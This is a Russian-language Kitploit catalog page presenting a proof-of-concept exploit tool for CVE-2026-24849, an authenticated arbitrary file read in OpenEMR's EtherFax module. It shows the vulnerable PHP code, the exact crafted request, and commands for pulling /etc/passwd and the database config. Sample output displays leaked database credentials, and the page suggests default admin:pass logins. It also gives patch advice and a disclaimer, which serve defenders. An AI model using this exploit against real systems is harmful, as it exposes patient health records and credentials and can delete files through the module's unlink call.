Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-24849 — Эксплойт Proof-of-concept для CVE-2026-24849, аутентифицированное path-traversal / чтение произвольных файлов в модуле Fax/SMS (EtherFax) OpenEMR. Любой аутентифицированный пользователь, независимо от уровня привилегий, может читать произвольные файлы из файловой системы сервера от имени пользователя веб-сервера (учетные данные базы данных, документы/PHI пациентов, /etc/passwd, …) | Kitploit
Инструменты/GitHubGitHub/doany1/cve-2026-24849
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхСбор информацииТестирование на Проникновение
GitHubdoany1/cve-2026-24849

CVE-2026-24849

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

2 месяцев назадЕщё не проверено

Эксплойт Proof-of-concept для CVE-2026-24849, аутентифицированное path-traversal / чтение произвольных файлов в модуле Fax/SMS (EtherFax) OpenEMR. Любой аутентифицированный пользователь, независимо от уровня привилегий, может читать произвольные файлы из файловой системы сервера от имени пользователя веб-сервера (учетные данные базы данных, документы/PHI пациентов, /etc/passwd, …)

Поделиться

CVE-2026-24849 — Произвольное чтение файлов с аутентификацией в OpenEMR (EtherFax disposeDoc)

Протестировано на: OpenEMR Version = 7.0.2

Эксплойт-доказательство концепции для CVE-2026-24849 — аутентифицированный path-traversal / произвольное чтение файлов в модуле Fax/SMS (EtherFax) OpenEMR. Любой аутентифицированный пользователь, независимо от уровня привилегий, может читать произвольные файлы с файловой системы сервера от имени веб-сервера (учётные данные базы данных, документы/PHI пациентов, /etc/passwd, …).

CVECVE-2026-24849
УязвимостьPath Traversal / Arbitrary File Read (CWE-22)
КомпонентEtherFaxActions::disposeDoc() → interface/modules/custom_modules/oe-module-faxsms
ЗатронутоOpenEMR < 7.0.4
Исправлено вOpenEMR 7.0.4
АутентификацияТребуется — любой пользователь, без привилегий
СерьёзностьNVD 6.5 (Medium) / GitHub CNA 9.9 (Critical)
Протестировано наOpenEMR 7.0.2 — Ubuntu 22.04, PHP 8.1, Apache 2.4

Уязвимость

Метод disposeDoc() в модуле Fax/SMS принимает переданный вызывающей стороной параметр запроса file_path, проверяет, существует ли файл, и передаёт его напрямую в readfile() без канонизации пути, без белого списка и без проверки авторизации — достаточно лишь действующей сессии:

root@kitploit:~
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
    $where = $this->getRequest('file_path', null);   // управляемо атакующим, без проверки
    if (file_exists($where)) {
        ...
        readfile($where);    // произвольное чтение файла от имени веб-сервера
        unlink($where);      // ⚠ удаляет файл после чтения (см. предупреждение ниже)
        exit;
    }
    die('Problem with download. Use browser back button');
}

Обработчик вызывается через диспетчер модуля с абсолютным путём в file_path (обход с ../ не требуется):

root@kitploit:~
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
        ?site=default
        &type=fax
        &_ACTION_COMMAND=disposeDoc
        &file_path=/etc/passwd
        &action=download

Последствия

Учётная запись с низкими привилегиями (или стандартная) превращается в примитив для чтения файлов на стороне сервера:

  • Учётные данные базы данных — sites/default/sqlconf.php
  • Записи пациентов / PHI — всё, что находится в sites/<site>/documents/, даже если этот каталог защищён директивой Deny from all в .htaccess (чтение происходит на диске, минуя Apache)
  • Системные файлы — /etc/passwd, исходный код приложения, ключи/токены, доступные для чтения веб-пользователю

⚠️ Деструктивное поведение

disposeDoc() вызывает unlink($where) после чтения файла. Чтение файла, который веб-пользователь может удалить, приведёт к его удалению. Целевые файлы, принадлежащие root (например, /etc/passwd, sqlconf.php на большинстве установок) — их родительский каталог не доступен для записи веб-пользователю, поэтому unlink() завершится ошибкой и файл сохранится. Будьте осмотрительны при выборе цели.

Предварительные требования

  • Действительные учётные данные OpenEMR (любой уровень привилегий — часто работает стандартная пара admin:pass).
  • Включён модуль Fax/SMS с выбранным EtherFax в качестве провайдера факсов. Реальная учётная запись EtherFax не требуется — чтение файлов происходит до любого внешнего API-вызова.

Требования

  • Python 3.6+
  • requests
root@kitploit:~
pip3 install requests

Установка

root@kitploit:~
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py

Использование

Запуск без аргументов — скрипт запросит всё необходимое:

root@kitploit:~
python3 CVE-2026-24849.py

Или неинтерактивно с флагами:

root@kitploit:~
# чтение одного файла
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd

# извлечение учётных данных БД и сохранение в файл
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
    -f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php

Параметры

Если -f опущен, инструмент переходит в интерактивный цикл чтения, позволяя получить несколько файлов из одной сессии.

Пример

root@kitploit:~
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)

Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authenticating to http://10.10.10.10 as 'admin' ...
[+] Authenticated; CVE-2026-24849 file-read confirmed.

[*] Interactive read - enter absolute file paths (blank or 'q' to quit).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login  = 'openemr';
$pass   = 'openemr123';
$dbase  = 'openemr';
[+] --------------------------

Как это работает

  1. Выполняется вход с помощью requests, сессия сохраняется в собственном хранилище cookie (избегает смены идентификатора сессии в браузере, из-за которой скопированные cookie становятся недействительными).
  2. Подтверждается доступ чтением безопасного пробного файла, принадлежащего root — это позволяет чётко отличить неверные учётные данные от модуль не включён и успех.
  3. Отправляется запрос на чтение disposeDoc с автоматическим перебором disposeDoc и disposeDocument (имя метода различается в затронутых минорных версиях).

Устранение

  • Обновитесь до OpenEMR 7.0.4 или новее. Исправление канонизирует путь, ограничивает его разрешённым каталогом и добавляет реальную проверку авторизации.
  • Измените стандартные учётные данные и включите принудительную смену пароля при первом входе.
  • Храните секреты и документы пациентов вне webroot; не полагайтесь на .htaccess как на единственный контроль.

Отказ от ответственности

Этот инструмент предоставлен только для авторизованного тестирования безопасности и образовательных целей. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Автор не несёт ответственности за неправомерное использование или любой ущерб, причинённый данным программным обеспечением. Обратите внимание на деструктивное поведение unlink(), описанное выше.

Ссылки

  • GitHub Security Advisory: https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-24849
  • Vendor: https://www.open-emr.org/

Автор

doany1

Лицензия

MIT — см. LICENSE.

Скачать инструмент
ФлагОписаниеПо умолчанию
-t, --targetБазовый URL, напр. http://10.10.10.10запрашивается
-u, --userИмя пользователя OpenEMRadmin
-P, --passwordПароль OpenEMRзапрашивается (скрыто)
-s, --siteИдентификатор сайта OpenEMRdefault
-f, --fileАбсолютный путь к удалённому файлу для чтенияинтерактивный цикл, если опущен
-o, --outputСохранить извлечённый файл локально вместо вывода на экран